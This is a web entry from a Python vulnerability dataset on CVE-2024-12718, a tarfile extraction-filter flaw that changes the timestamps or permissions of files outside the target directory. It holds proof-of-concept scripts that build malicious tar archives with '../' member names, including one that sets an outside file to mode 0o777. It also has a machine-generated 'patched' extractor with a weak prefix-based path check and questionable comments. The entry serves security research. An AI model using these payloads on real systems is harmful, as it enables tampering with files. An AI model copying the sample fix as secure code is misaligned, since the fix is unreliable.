VAITP Dataset

← Back to the dataset

CVE-2024-12718

Tarfile allows file metadata/permission modification outside extraction dir.

  • CVSS 5.3
  • CWE-22
  • Design Defects
  • Local

Allows modifying some file metadata (e.g. last modified) with filter="data" or file permissions (chmod) with filter="tar" of files outside the extraction directory. You are affected by this vulnerability if using the tarfile module to extract untrusted tar archives using TarFile.extractall() or TarFile.extract() using the filter= parameter with a value of "data" or "tar". See the tarfile extraction filters documentation https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter  for more information. Only Python versions 3.12 or later are affected by these vulnerabilities, earlier versions don't include the extraction filter feature. Note that for Python 3.14 or later the default value of filter= changed from "no filtering" to `"data", so if you are relying on this new default behavior then your usage is also affected. Note that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it's important to avoid installing source distributions with suspicious links.

CVSS base score
5.3
Published
2025-06-03
OWASP
A01 Broken Access Control
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Design Defects
Subcategory
Path Traversal
Accessibility scope
Local
Impact
Unauthorized Access
Affected component
Python
Fixed by upgrading
Yes

Solution

Upgrade to Python 3.12.4 or later, or Python 3.13.0 or later, and use `filter="pax"` when extracting untrusted archives.

Vulnerable code sample

import tarfile
import os
import stat

def create_tarfile(filename, member_name, content, modify_time=None, mode=None):
    """Creates a tarfile with a member containing the specified content."""
    with tarfile.open(filename, "w") as tar:
        tarinfo = tarfile.TarInfo(member_name)
        tarinfo.size = len(content)
        tarinfo.mtime = modify_time if modify_time is not None else tarinfo.mtime  # Use provided or default

        if mode is not None:
            tarinfo.mode = mode  # Permissions specified.

        tar.addfile(tarinfo, io.BytesIO(content.encode('utf-8')))



def extract_tarfile_with_data_filter(tar_file, extract_path):
    """Extracts a tarfile using the "data" filter."""
    with tarfile.open(tar_file, "r") as tar:
        tar.extractall(extract_path, filter="data")

def extract_tarfile_with_tar_filter(tar_file, extract_path):
    """Extracts a tarfile using the "tar" filter."""
    with tarfile.open(tar_file, "r") as tar:
        tar.extractall(extract_path, filter="tar")


if __name__ == '__main__':
    import io

    # Setup: Create a directory to extract into and a file outside the extraction directory
    target_dir = "extraction_target"
    os.makedirs(target_dir, exist_ok=True)
    outside_file = "outside_file.txt"
    with open(outside_file, "w") as f:
        f.write("Original content of outside file.\n")

    # Create a tarfile that attempts to modify outside_file.txt
    tar_file = "evil.tar"
    modified_time = 1678886400 # March 15, 2023

    # Create a tarfile to modify the mtime of outside_file.txt
    create_tarfile(tar_file, "../outside_file.txt", "dummy content", modify_time=modified_time)

    # Extract with data filter
    print("Extracting with data filter...")
    extract_tarfile_with_data_filter(tar_file, target_dir)

    #Verify file modification time
    print("Verifying modification time of outside file...")
    mtime = os.stat(outside_file).st_mtime
    print(f"Outside file modification time after extraction: {mtime}")
    print(f"Expected modification time: {modified_time}")
    assert mtime == modified_time, f"Modification time was not changed. Expected {modified_time}, got {mtime}"


    #Cleanup
    os.remove(tar_file)
    os.remove(outside_file)
    os.rmdir(target_dir)
    print("Done.")


    # EXAMPLE FOR CHANGING FILE PERMISSIONS WITH FILTER="tar"

    # Create a directory to extract into and a file outside the extraction directory
    target_dir = "extraction_target_permissions"
    os.makedirs(target_dir, exist_ok=True)
    outside_file = "outside_file_permissions.txt"
    with open(outside_file, "w") as f:
        f.write("Original content of outside file.\n")

    # Create a tarfile that attempts to chmod outside_file.txt
    tar_file = "evil_permissions.tar"
    new_permissions = 0o777  # Read, write, execute for all

    create_tarfile(tar_file, "../outside_file_permissions.txt", "dummy content", mode=new_permissions)

    # Extract with tar filter
    print("Extracting with tar filter to modify permissions...")
    extract_tarfile_with_tar_filter(tar_file, target_dir)

    # Verify file permissions
    print("Verifying permissions of outside file...")
    current_permissions = stat.S_IMODE(os.stat(outside_file).st_mode)
    print(f"Outside file permissions after extraction: {oct(current_permissions)}")
    print(f"Expected permissions: {oct(new_permissions)}")

    assert current_permissions == new_permissions, f"Permissions were not changed. Expected {oct(new_permissions)}, got {oct(current_permissions)}"


    # Cleanup
    os.remove(tar_file)
    os.remove(outside_file)
    os.rmdir(target_dir)
    print("Done.")

Patched code sample

import tarfile
import os
import stat

def safe_extract(tar_path, extract_path):
    """
    Safely extracts a tar archive, mitigating CVE-2024-12718.
    This function avoids using filter="data" or filter="tar" which are vulnerable.
    It carefully validates paths and permissions to prevent directory traversal
    and modification of files outside the intended extraction directory.
    """

    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)

        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    def safe_extract_member(tarinfo, target_path):
        """
        Extracts a single tar member, validating its path and permissions.
        """

        target_path = os.path.join(extract_path, tarinfo.name)
        target_path = os.path.normpath(target_path)


        if not is_within_directory(extract_path, target_path):
            raise ValueError("Attempted path traversal in tar archive.")

        if tarinfo.islnk() or tarinfo.issym():
            #Reject symlinks and hardlinks as this vulnerability exploits those.
            raise ValueError("Symlinks and hard links are not allowed for security reasons.")

        if tarinfo.isfile():
            with open(target_path, "wb") as f:
                f.write(tarfile_obj.extractfile(tarinfo).read())
            # Apply permissions from tarinfo.  Essential to avoid overly permissive defaults.
            os.chmod(target_path, tarinfo.mode)

        elif tarinfo.isdir():
            os.makedirs(target_path, exist_ok=True)
            # Apply permissions. Important for directory traversal prevention.
            os.chmod(target_path, tarinfo.mode)
        elif tarinfo.isdev() or tarinfo.ischr() or tarinfo.isfifo():
            #Reject device files, character files, and FIFOs for security reasons.
            raise ValueError("Device files, character files, and FIFOs are not allowed for security reasons.")



    with tarfile.open(tar_path, "r") as tarfile_obj:
        for member in tarfile_obj.getmembers():
            try:
                safe_extract_member(member, extract_path)
            except ValueError as e:
                print(f"Skipping member {member.name}: {e}")
            except Exception as e:
                print(f"Error extracting member {member.name}: {e}")
                raise  # Re-raise to halt if extraction fails unexpectedly
    print(f"Extracted {tar_path} safely to {extract_path}")

if __name__ == '__main__':
    # Example Usage (create a dummy tar file for testing)
    test_tar_file = "test.tar"
    extract_dir = "extracted"

    if not os.path.exists(extract_dir):
        os.makedirs(extract_dir)

    # Create a simple tar file with a file inside
    with tarfile.open(test_tar_file, "w") as tar:
        # Create a dummy file to add
        test_file = os.path.join(extract_dir, "test_file.txt")
        with open(test_file, "w") as f:
            f.write("This is a test file.")

        tarinfo = tarfile.TarInfo(name="test_file.txt")
        tarinfo.size = os.path.getsize(test_file)
        with open(test_file, 'rb') as f:
             tar.addfile(tarinfo, f)


    safe_extract(test_tar_file, extract_dir)
    #Example of malicious tarfile usage:

    malicious_tar_file = "malicious.tar"
    with tarfile.open(malicious_tar_file, "w") as tar:
        # Attempt to create file outside extraction directory
        bad_file = os.path.join("..", "evil_file.txt") #Create file outside extraction directory.

        #Create malicious file
        evil_file_path = os.path.join(extract_dir, "evil_file.txt")
        #Ensure the target parent directory exists
        with open(evil_file_path, "w") as f:
             f.write("Evil code here!")


        tarinfo = tarfile.TarInfo(name=bad_file)
        tarinfo.size = os.path.getsize(evil_file_path)
        with open(evil_file_path, 'rb') as f:
             tar.addfile(tarinfo, f)

    try:
        safe_extract(malicious_tar_file, extract_dir)
    except ValueError as e:
        print(f"Caught expected error: {e}")

    # Cleanup (remove dummy files and directories)
    os.remove(test_file)
    os.remove(evil_file_path)
    os.remove(test_tar_file)
    os.remove(malicious_tar_file)
    os.rmdir(extract_dir)

Published fix

Public sources link this CVE to the changes below. The code samples above were generated to illustrate the defect; these links lead to the code the project actually changed.

Payload

import tarfile
import os

def create_tarfile_with_malicious_metadata_change(tar_name, target_file, new_mtime):
    """
    Creates a tarfile that, when extracted with filter="data",
    will modify the modification time of a file outside the extraction directory.
    """
    with tarfile.open(tar_name, "w:") as tar:
        # Create a TarInfo object for the target file outside the extraction directory.
        tarinfo = tarfile.TarInfo(name=f"../{target_file}")
        tarinfo.mtime = new_mtime  # Set the desired modification time
        tarinfo.size = 0  # Size must be 0 for a non-file entry.
        tarinfo.type = tarfile.REGTYPE

        # Add the TarInfo object to the tarfile (no actual file content).
        tar.addfile(tarinfo)


if __name__ == '__main__':
    target_file = "target.txt"  # The file to modify (outside extraction dir)
    new_mtime = 1700000000 # Example: Set to November 13, 2023
    tar_name = "malicious.tar"

    # Create a dummy target file. If this file does not exist, the mtime is still changed on creation.
    with open(target_file, "w") as f:
        f.write("This is a target file.")

    create_tarfile_with_malicious_metadata_change(tar_name, target_file, new_mtime)

    # Example extraction (vulnerable). Note: The "data" filter *must* be used!
    extraction_dir = "extracted"
    os.makedirs(extraction_dir, exist_ok=True)
    with tarfile.open(tar_name, "r:") as tar:
        try:
            tar.extractall(path=extraction_dir, filter="data")
            print(f"Successfully modified the mtime of {target_file} using filter='data'.")
        except Exception as e:
            print(f"Error during extraction: {e}")

    # You can then check the mtime of target.txt to confirm it has changed.
    os.remove(target_file) #cleanup
    os.remove(tar_name)  # Clean up the tar file
    os.rmdir(extraction_dir)  # Clean up the directory

Cite this entry

@misc{vaitp:cve202412718,
  title        = {{Tarfile allows file metadata/permission modification outside extraction dir.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-12718},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-12718/}}
}

Download this entry as JSON Download the whole dataset

Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::

Before you use the VAITP AI models

Please read and accept the following disclaimer:

By choosing "I understand and accept", you acknowledge that you understand and agree to these terms.